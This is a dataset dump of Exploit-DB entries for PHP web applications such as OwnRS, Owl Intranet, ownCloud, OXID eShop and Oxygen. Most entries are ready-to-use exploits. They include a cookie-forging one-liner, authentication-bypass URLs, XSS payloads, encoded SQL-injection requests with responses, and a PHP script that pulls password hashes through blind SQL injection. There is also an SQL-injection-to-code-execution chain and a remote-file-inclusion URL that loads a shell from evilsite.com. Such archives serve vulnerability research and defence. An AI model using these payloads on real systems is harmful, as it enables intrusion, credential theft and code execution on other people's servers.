deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7597
Description: OwenPoll 1.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-12-28
Author: Osirys

Exploit:
[START]

####################################################################################################################
[0x01] Informations:

Script         : OwenPoll 1.0
Download       : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/checkloginmini.php

[CODE]

    if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){
        // authentication was successful
        // create session and set cookie with username
        session_start();
        $_SESSION['auth'] = 1;
     
        setcookie("username", $_POST['txtusername'], time()+(86400*30));

[/CODE]

If we log in correctly, a cookie is set with name "username" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("username", $_POST['txtpassword'], time()+(86400*30)); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/";
             *admin_username is the nick of the administrator

####################################################################################################################

[/END]

# milw0rm.com [2008-12-28]
Exploit-DB #22600
Description: Owl Intranet Engine 0.7 - Authentication Bypass
Type: webapps
Platform: php
Date: 2003-05-14
Author: cdowns

Exploit:
source: https://www.securityfocus.com/bid/7595/info

Owl has been reported prone to an authentication bypass vulnerability.

The issue presents itself due to a lack of sufficient sanitization when checking the validity of usernames and passwords supplied to 'browse.php'.

An attacker may exploit this condition to bypass the Owl authentication system. 

http://www.example.com/intranet/browse.php?loginname=whocares&parent=1&expand=1&order=creatorid&sortposted=ASC
Exploit-DB #32122
Description: Owl Intranet Engine 0.95 - 'register.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-28
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/30410/info

Owl Intranet Engine is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Owl Intranet Engine 0.95 is vulnerable; prior versions may also be affected. 

http://www.example.com/Owl/register.php?myaction=getpasswd&username="><script>alert(1);</script>
Exploit-DB #36456
Description: Owl Intranet Engine 1.00 - 'userid' Authentication Bypass
Type: webapps
Platform: php
Date: 2011-12-15
Author: RedTeam Pentesting GmbH

Exploit:
source: https://www.securityfocus.com/bid/51076/info

Owl Intranet Engine is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to bypass the authentication process and gain administrative access to the application.

Owl Intranet Engine 1.00 is affected; other versions may also be vulnerable. 

http://www.example.org/owl/admin/index.php?userid=1
http://www.example.org/owl/admin/index.php?userid=1&newuser
http://www.example.org/owl/admin/index.php?userid=1&action=edituser&owluser=1
Exploit-DB #2839
Description: OWLLib 1.0 - 'OWLMemoryProperty.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-23
Author: DeltahackingTEAM

Exploit:
**********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name : owllib-src-1.0

* Class = Remote File Inclusion ;
 
* Download =http://heanet.dl.sourceforge.net/sourceforge/phpowllib/owllib-src-1.0.zip

* Found by = DeltahackingTEAM

* User In Delta Team (Dr.Pantagon )

* With the special  thanks of my financial sponser Tanha
----------------------------------------------------------------------------------------------------------
- Vulnerable Code

require_once "$OWLLIB_ROOT/OWLProperty.php";
require_once "$OWLLIB_ROOT/memory/OWLMemoryClass.php";
++++++++++++++++++++++++++++++++++++++++++++

- Exploit:

    http://[target]/[path]/owllib/memory/OWLMemoryProperty.php?OWLLIB_ROOT=http://evilsite.com/shell?

***********************
I LOVE YOU G.Malake
***********************
----------------------------------------------------------------------------------------------------------
Greetz:Tanha, Dr.Trojan , Hiv++ , D_7j ,Vpc

# milw0rm.com [2006-11-23]
Exploit-DB #37094
Description: ownCloud 3.0.0 - 'index.php?redirect_url' Arbitrary Site Redirect
Type: webapps
Platform: php
Date: 2012-04-18
Author: Tobias Glemser

Exploit:
source: https://www.securityfocus.com/bid/53145/info

ownCloud is prone to a URI open-redirection vulnerability, multiple cross-site scripting vulnerabilities and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Successful exploits may redirect a user to a potentially malicious site; this may aid in phishing attacks.

ownCloud 3.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/owncloud/index.php?redirect_url=1"><script>alert("Help Me")</script><l=" (must not be logged in)

http://www.example.com/owncloud/index.php?redirect_url=http%3a//www.boeserangreifer.de/
Exploit-DB #47745
Description: OwnCloud 8.1.8 - Username Disclosure
Type: webapps
Platform: php
Date: 2019-12-04
Author: Daniel Moreno

Exploit:
# Exploit Title: OwnCloud 8.1.8 - Username Disclosure
# Exploit Author : Daniel Moreno
# Exploit Date: 2019-11-29
# Vendor Homepage :  https://owncloud.org/  
# Link Software :  https://ftp.icm.edu.pl/packages/owncloud/  (old version. Download at your own risk) 
# Tested on OS: CentOS

# PoC:
# 1. Create an account in OwnCloud
# 2. Intercept connection with Burp
# 3. Share a file, typing anything

---------------------------------------------------------
4. Burp will capture this request

GET /index.php/core/ajax/share.php?fetch=getShareWith&*search=bla*&limit=200&itemType=file
HTTP/1.1
Host: XXXXXXXXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
requesttoken: XXXXXXXXXXXXXXXXXXX
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://domain.com/index.php/apps/files/
Cookie: XXXXXXXXXXXXXXXX
---------------------------------------------------------------------

5. Send to Repeater

6. Change GET parameter to THIS:

GET /index.php/core/ajax/share.php?fetch=getShareWith&*search=*&limit=200&itemType=file
HTTP/1.1


7. Return valeus will be a JSON with all username informations
Exploit-DB #46168
Description: ownDMS 4.7 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-15
Author: Ihsan Sencan

Exploit:
# Exploit Title: ownDMS 4.7 - SQL Injection
# Dork: N/A
# Date: 2019-01-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.owndms.com/
# Software Link: https://datapacket.dl.sourceforge.net/project/owndms/owndms_47.zip
# Version: 4.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/includes/pdfstream.php?IMG=[SQL]
# http://localhost/[PATH]/includes/imagestream.php?IMG=[SQL]
# http://localhost/[PATH]/includes/anyfilestream.php?IMG=[SQL]
# 

GET /[PATH]/includes/pdfstream.php?IMG=%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35,0x48656c6c6f204861636b[PII_REDACTED]69,%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2lj2q69rvodstr9g2c9ki3k3j6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2019 11:22:36 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment; filename="Hello Hacker Abi"
Content-Length: 859
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/cashbook.php?showfordoc=[SQL]
# 

GET /[PATH]/cashbook.php?showfordoc=%27%20AND%20%45%58%54%52%41%43%54%56%41%4c%55%45(%32%32,%43%4f%4e%43%41%54(0x5c,%76%65%72%73%69%6f%6e(),(%53%45%4c%45%43%54%20(%45%4c%54(%31%3d%31%2c%31))),%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2lj2q69rvodstr9g2c9ki3k3j6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2019 08:15:55 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private
Pragma: no-cache
Content-Length: 5150
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #7849
Description: OwnRS Blog 1.2 - 'autor.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-22
Author: nuclear

Exploit:
#OwnRS CMS (autor.php) SQL Injection Vulnerability


#Author: nuclear


#download:
http://sourceforge.net/project/showfiles.php?group_id=230742


#vuln:
http://localhost/[path]/autor.php?id=' union select 1,2,3,4,5,@@version,7,8,9 '


#required:
magic_quotes_gpc == off;


#greetz Mi4night, cAs, zYzTeM, THE_MAN, Pepe, I-O-W-A,Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar 

# milw0rm.com [2009-01-22]
Exploit-DB #5860
Description: OwnRS blog beta3 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-19
Author: CWH Underground

Exploit:
==============================================================
  OwnRS Blog beta3 (SQL/XSS) Multiple Remote Vulnerabilities
==============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 19 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : OwnRS
 VERSION     : Beta3
 VENDOR	     : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/ownrs
#####################################################

--- Remote SQL Injection ---

**magic_quote must turn off**

------------------------------
 Vulnerable File (clanek.php)
------------------------------

@ Line 66

[+] $vysledek=mysql_query("select * from clanky where id= '" . $id . "'") or die (mysql_error());

----------
 Exploit
----------

[+] http://[Target]/[Ownrs_path]/clanek.php?id=[SQL Injection]

-------------
 POC Exploit
-------------

[+] http://localhost/own/clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1

When you view source, You can see

@Line 87

[+] <h1><a href="clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1"><?php
[+] $spojeni= mysql_connect(
[+] //server
[+] "localhost",
[+] //login
[+] "xampp",
[+] //heslo
[+] "xampp" );
[+] //databÃ¡ze
[+] mysql_select_db("databaze",$spojeni);
[+] ?>
[+] </a></h1>
[+] 45<p class="right"><strong><a href="index.php?kat=9">
[+] <div class="cara"><span class="schovat">cara</span></div>
      

---------------------
 Exploit Description
---------------------

    This exploit use load_file() to view source files (load_file() can only use with Mysql5+)

load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112))
will open C:\xampp\htdocs\Own\db.php


--- Remote XSS Exploit ---

------------------------------
 Vulnerable File (clanek.php)
------------------------------

@ Line 69

[+] <h1><a href="clanek.php?id=<?echo $id?>"><?echo $zaznam["nadpis"]?></a></h1>

---------
 Exploit
---------

[+] http://[Target]/[Ownrs_path]/clanek.php?id=<XSS>


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-19]
Exploit-DB #45637
Description: OwnTicket 1.0 - 'TicketID' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-18
Author: Ihsan Sencan

Exploit:
# Exploit Title: OwnTicket 1.0 - 'TicketID' SQL Injection
# Dork: N/A
# Date: 2018-10-18
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://ownticket.sourceforge.io/
# Software Link: https://sourceforge.net/projects/ownticket/files/latest/download
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?showTicketId=[SQL]

GET /[PATH]/index.php?showTicketId=%2d%31%27%20%20%55%4e%49%4f%4e%28%53%45%4c%45%43%54%28%31%29%2c%28%32%29%2c%28%33%29%2c%28%34%29%2c%28%35%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%37%29%2c%28%38%29%2c%28%39%29%2c%28%31%30%29%2c%28%31%31%29%2c%28%31%32%29%2c%28%31%33%29%2c%28%31%34%29%29%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fhk729lg8ki4c9d1l24pbh8qn2
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 18 Oct 2018 12:21:31 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/index.php?editTicketStatusId=[SQL]
 
GET /[PATH]/index.php?editTicketStatusId=%2d%31%27%20%20%55%4e%49%4f%4e%28%53%45%4c%45%43%54%28%31%29%2c%28%32%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%34%29%2c%28%35%29%2c%28%36%29%2c%28%37%29%2c%28%38%29%29%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fcb8l8apgcokqmoeiahhpud9g2
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 18 Oct 2018 12:24:12 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #48527
Description: OXID eShop 6.3.4 - 'sorting' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-27
Author: VulnSpy

Exploit:
# Exploit Title: OXID eShop 6.3.4 - 'sorting' SQL Injection
# Date: 2019-07-29
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.oxid-esales.com/
# Software Link: https://github.com/OXID-eSales/oxideshop_ce
# Version: Versions 6.x (prior to 6.3.4)
# Tested on: https://github.com/vsplate/dcenvs/tree/master/oxideshop_ce/6.3.3/dc
# CVE:

1. Click on any product item in the web page

```bash
e.g. http://***.vsgo.cloud/source/en/Kiteboarding/Kites/Kite-CORE-GT.html
```

2..Add `sorting` parameter after the URL of item detail ( Insert PHP code
to database via SQL injection )

```bash
e.g. http://***.vsgo.cloud/source/en/Kiteboarding/Kites/Kite-CORE-GT.html?sorting=oxtitle|;insert
into
oxcontents(OXID,OXLOADID,OXPOSITION,OXACTIVE,OXTITLE,OXCONTENT,OXACTIVE_1,OXTITLE_1,OXCONTENT_1,OXFOLDER,OXTERMVERSION)

VALUES(0x[PII_REDACTED]36,0x76756c6e[PII_REDACTED]6d6f, 0x00, 1,
0x76756c6e[PII_REDACTED]6d6f, 0x5b7b[PII_REDACTED]70696e666f28297d5d5b7b2f69667d5d,
1, 0x76756c6e[PII_REDACTED]6d6f,
0x5b7b[PII_REDACTED]70696e666f28297d5d5b7b2f69667d5d,
0x434d53464f4c4445525f[PII_REDACTED]4e464f, 0x00);%23
```

3.Accessing the following links triggers PHP code execution and will
display the PHPINFO page if exploited successfully.

```bash
http://***.vsgo.cloud/source/index.php?cl=content&oxloadid=vulnspydemo
```

Ref:
* https://www.vulnspy.com/en-oxid-eshop-6.x-sqli-to-rce/
* https://blog.ripstech.com/2019/oxid-esales-shop-software/
* https://bugs.oxid-esales.com/view.php?id=7002
Exploit-DB #36876
Description: Oxwall 1.1.1 - 'plugin' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-22
Author: Ariko-Security

Exploit:
source: https://www.securityfocus.com/bid/52125/info

Oxwall is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Oxwall 1.1.1 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/ow_updates/?plugin=%27%22%28%29%26%251%3CScRiPt%20%3Eprompt%28982087%29%3C%2fScRiPt%3E
Exploit-DB #2810
Description: Oxygen 1.1.3 (O2PHP Bulletin Board) - SQL Injection
Type: webapps
Platform: php
Date: 2006-11-18
Author: DarkFig

Exploit:
#!/usr/bin/php
<?

if($argc<4){
 print("
 -------------------------------------------------------
 Affected.scr..: Oxygen <= 1.1.3 (O2PHP Bulletin Board)
 Poc.ID........: 14061118
 Type..........: SQL Injection
 Risk.level....: Medium
 Conditions....: register_globals = on
 Src.download..: download.o2php.com
 Poc.link......: acid-root.new.fr/poc/14061118.txt
 Credits.......: DarkFig
 Note..........: FOR EDUCATIONAL PURPOSE ONLY
 -------------------------------------------------------
 Usage.........: php 14061118.txt <host> <path> <userid>
 -------------------------------------------------------\n");
 exit(1);
}

print "\n Please be patient (max=736 hits)...\n MD5: ";
$host = !preg_match("/^http:\/\/(\S*)/",$argv[1],$hwttp) ? $argv[1] : $hwttp[1];
$path = $argv[2];
$usid = intval($argv[3]);
$tabl = "o2_members";

for($x=1;  $x<=32; $x++) {
for($y=48; $y<=71; $y++) {

$recv  = '';
$sqli  = "%20UNION%20SELECT%201,1%20FROM%20".$tabl."%20WHERE%20uid=".$usid."%20AND%20substr(password,".$x.",1)=char(".$y.")%23";
$data  = "GET ".$path."viewthread.php?tid=1&pid=-1".$sqli." HTTP/1.1 \r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";

if(!$sock  = @fsockopen($host, 80)) die("Connection problem\n");
fputs($sock, $data);

while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);

if(preg_match("/Location: viewthread.php/", $recv)) {
  print strtolower(chr($y));
  break;
} elseif($y == 71) {
  print "Not vulnerable\n";
  exit(1);

}}}

print "\n";
exit(0);

?>

# milw0rm.com [2006-11-18]
Exploit-DB #5828
Description: Oxygen 2.0 - 'repquote' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-15
Author: anonymous

Exploit:
######################
#
#Oxygen 2.0 SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
##
###
##
#
#This Board Software suffers from a not correctly verified quote ID variable which is used in SQL Querys.
#An Attacker can easily get sensitive information from the database by
#injecting unexpected SQL Querys.
#We need a valid topic ID.
#Im not bored enough to code an exploit for this, so do it manually.
#Its by the way easy to find the correct prefix for the tables by producing a SQL Error.
#When injected your Query you can find the output in the Subject Text Box.
#
#SQL Injection:
#http://[target]/[path]/post.php?action=reply&tid=2517&repquote=[Sequel]
#
#PoC:
#post.php?action=reply&tid=2517&repquote=-1'%20union%20select%20concat(username,0x3a,password),2,3,4,5,6%20from%20o2_members--+
#
#######################
#
#Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the (...) h4ck-y0u Team!
#
#######################
####################### 

# milw0rm.com [2008-06-15]
Exploit-DB #27434
Description: Oxynews - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-16
Author: R00T3RR0R

Exploit:
source: https://www.securityfocus.com/bid/17132/info

Oxynews is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/oxynews/index.php?oxynews_comment_id=[sql]